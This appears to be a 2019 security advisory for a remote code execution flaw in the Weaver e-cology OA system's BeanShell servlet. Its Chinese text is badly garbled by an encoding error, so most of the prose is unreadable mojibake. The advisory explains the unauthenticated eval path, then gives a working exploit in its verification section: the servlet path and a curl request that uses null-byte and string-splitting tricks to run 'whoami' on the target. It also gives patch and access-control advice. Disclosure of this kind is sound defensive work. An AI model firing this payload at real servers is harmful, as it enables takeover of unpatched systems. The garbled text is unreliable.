·ºÎ¢e-cology OAϵͳԶ³Ì´úÂëÖ´ÐÐÎó²îÇ徲ͨ¸æ
Ðû²¼Ê±¼ä 2019-09-20¡ñÎó²î±àºÅºÍ¼¶±ð
CVE±àºÅ£ºÔÝÎÞ£¬£¬£¬£¬Î£ÏÕ¼¶±ð£º¸ßΣ£¬£¬£¬£¬CVSS·ÖÖµ£º¹Ù·½Î´ÆÀ¶¨
¡ñÓ°Ïì°æ±¾
ÊÜÓ°ÏìµÄ°æ±¾
·ºÎ¢e-cology<=9.0
¡ñÎó²î¸ÅÊö
·ºÎ¢e-cology OAÊǺ£ÄÚÓ¦ÓÃÆÕ±éµÄOA½â¾ö¼Æ»®¡£¡£¡£
¿ËÈÕ£¬£¬£¬£¬·ºÎ¢e-cology OAϵͳ±»±¬³ö±£´æÔ¶³Ì´úÂëÖ´ÐÐÎó²î¡£¡£¡£¸ÃÎó²î±£´æÓÚ·ºÎ¢ÐͬÖÎÀíÓ¦ÓÃÆ½Ì¨OAϵͳµÄBeanShell×é¼þÖУ¬£¬£¬£¬¸Ã×é¼þΪϵͳ×Ô´øÇÒÔÊÐíδÊÚȨ»á¼û¡£¡£¡£¹¥»÷Õßͨ¹ýŲÓÃBeanShell×é¼þµÄÎÊÌâ½Ó¿Ú¿ÉÖ±½ÓÔÚÄ¿µÄЧÀÍÆ÷ÉÏÖ´ÐÐí§ÒâÏÂÁî¡£¡£¡£
ÎÊÌâ·ºÆðÔÚresinÏÂlibÖеÄbsh.jarÎļþÀ£¬£¬£¬ÎÊÌâÀàbsh.servlet.BshServlet£¬£¬£¬£¬¿ÉÒÔ¿´µ½doGetÒªÁì´ÓgetParameterÖÐÎüÊÕµ½Ò»Ð©²ÎÊý£¬£¬£¬£¬È»ºóÕû¸öRequestÇëÇó»á½»¸øevalScriptÒªÁìÀ´¾ÙÐд¦Öóͷ£¡£¡£¡£ÎÒÃÇ¿ÉÒÔ¿´µ½Õâ¸ö½Ó¿ÚûÓоÙÐÐÈκÎȨÏÞУÑ飬£¬£¬£¬Æ¾Ö¤ÉÏÊöÆÊÎöµÄ·ÓÉ£¬£¬£¬£¬Õâ¸öµØ·½¿ÉÒÔ±»Î´ÊÚȨ´¥·¢¡£¡£¡£
¸ú½øevalScriptÒªÁ죬£¬£¬£¬Å²ÓÃlocalInterpreter.eval(paramString);£¬£¬£¬£¬¶ø localInterpreter ÊÇ interpreter ʵÀý»¯¹¤¾ß¡£¡£¡£
ÕâÀï¿´¸öbshÓ÷¨µÄÀý×Ó£¬£¬£¬£¬ÏÂÃæÕâ¸öÀý×ÓÖ´ÐÐЧ¹ûÊÇÊä³öhello£º
ÒÔÊÇÎÒÃÇ¿ÉÒÔÖªµÀbshÖеÄevalÒªÁì¿ÉÒÔÖ´ÐÐһЩjava´úÂë¡£¡£¡£
¡ñÎó²îÑéÖ¤
Îó²î·¾¶£º/weaver/bsh.servlet.BshServlet
exec("whoami")
curl http://xx.xx.xx.xx.xx/weaver/bsh.servlet.BshServlet/ -d 'bsh.script=eval%00("ex"%2b"ec(\"whoami\")");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw'
»á¼ûhttp://url/weaver/bsh.servlet.BshServlethÊäÈëpayloadÈçÏ£º
¡ñÐÞ¸´½¨Òé
ÏÖÔÚ·ºÎ¢¹ÙÍøÐû²¼Á˲¹¶¡£¡£¡£¬£¬£¬£¬ÏÂÔØµØµã£ºhttps://www.weaver.com.cn/cs/securityDownload.asp¡£¡£¡£
ÔÝʱ»º½â²½·¥£º
1¡¢Õ¥È¡¸ÃϵͳÔÚ¹«Íø¿ª·Å¡£¡£¡£
2¡¢ÉèÖà URL »á¼û¿ØÖÆÕ½ÂÔ£º
°²ÅÅÓÚ¹«ÍøµÄ·ºÎ¢OAϵͳ£¬£¬£¬£¬¿Éͨ¹ý ACL եȡÍâÍø¶Ô*/*BshServlet/·¾¶µÄ»á¼û¡£¡£¡£
¡ñ²Î¿¼Á´½Ó
https://www.weaver.com.cn/cs/securityDownload.asp